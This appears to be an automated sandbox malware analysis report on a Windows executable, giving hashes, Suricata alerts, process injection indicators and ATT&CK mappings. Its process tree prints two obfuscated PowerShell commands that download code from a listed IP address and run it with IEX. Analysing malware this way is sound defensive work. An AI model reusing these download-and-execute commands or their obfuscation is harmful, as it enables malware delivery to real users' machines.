7e0039e89e08c86ef23875cc3abb955184c389bd51f491218da2fce7b824bdcf

General

Target
e825565216f6397a04fde97547b5f106.exe
Size 24KB
Sample220110-lhmfcsedcp
SHA256 7e0039e89e08c86ef23875cc3abb955184c389bd51f491218da2fce7b824bdcf
MD5 e825565216f6397a04fde97547b5f106
SHA1 c7d3eac92ba99c9b2787ed4245e633d708b3603d
SHA512 7bc81b48b1425c513fda4db48989bbd5f63a0dc9a13764b1054bdce3d846f1d47986fe95af1992b0c65072cd6874ef88e246c8f52b9dec818a9c18c4259b07dc
MD5 SHA1 SHA512

Score

10^/10

suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://92.255.57.195/01/AU.PNG

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://92.255.57.195/01/YES.PNG

Signatures

suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
suricata
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2040	powershell.exe
6	336	powershell.exe
8	336	powershell.exe
9	336	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2040	powershell.exe
336	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	336	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1672	e825565216f6397a04fde97547b5f106.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2040	1672	e825565216f6397a04fde97547b5f106.exe	27
PID 1672 wrote to memory of 2040	1672	e825565216f6397a04fde97547b5f106.exe	27
PID 1672 wrote to memory of 2040	1672	e825565216f6397a04fde97547b5f106.exe	27
PID 1672 wrote to memory of 2040	1672	e825565216f6397a04fde97547b5f106.exe	27
PID 1672 wrote to memory of 336	1672	e825565216f6397a04fde97547b5f106.exe	29
PID 1672 wrote to memory of 336	1672	e825565216f6397a04fde97547b5f106.exe	29
PID 1672 wrote to memory of 336	1672	e825565216f6397a04fde97547b5f106.exe	29
PID 1672 wrote to memory of 336	1672	e825565216f6397a04fde97547b5f106.exe	29

C:\Users\Admin\AppData\Local\Temp\e825565216f6397a04fde97547b5f106.exe
"C:\Users\Admin\AppData\Local\Temp\e825565216f6397a04fde97547b5f106.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='({end}{end}Ne{end}{end}w{end}-Obj{end}ec{end}{end}t N{end}{end}et{end}.W{end}{end}e'.replace('{end}', ''); $c4='bC{end}li{end}{end}en{end}{end}t).D{end}{end}ow{end}{end}nl{end}{end}{end}o'.replace('{end}', ''); $c3='ad{end}{end}St{end}rin{end}{end}g{end}(''ht{end}tp{end}://92.255.57.195/01/AU.PNG'')'.replace('{end}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({end}{end}Ne{end}{end}w{end}-Obj{end}ec{end}{end}t N{end}{end}et{end}.W{end}{end}e'.replace('{end}', ''); $c4='bC{end}li{end}{end}en{end}{end}t).D{end}{end}ow{end}{end}nl{end}{end}{end}o'.replace('{end}', ''); $c3='ad{end}{end}St{end}rin{end}{end}g{end}(''ht{end}tp{end}://92.255.57.195/01/YES.PNG'')'.replace('{end}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/336-63-0x0000000002420000-0x000000000306A000-memory.dmp

Download

memory/1672-55-0x0000000000220000-0x0000000000226000-memory.dmp

Download

memory/1672-56-0x0000000000220000-0x000000000022A000-memory.dmp

Download

memory/1672-57-0x0000000076641000-0x0000000076643000-memory.dmp

Download

memory/2040-64-0x0000000002360000-0x0000000002FAA000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads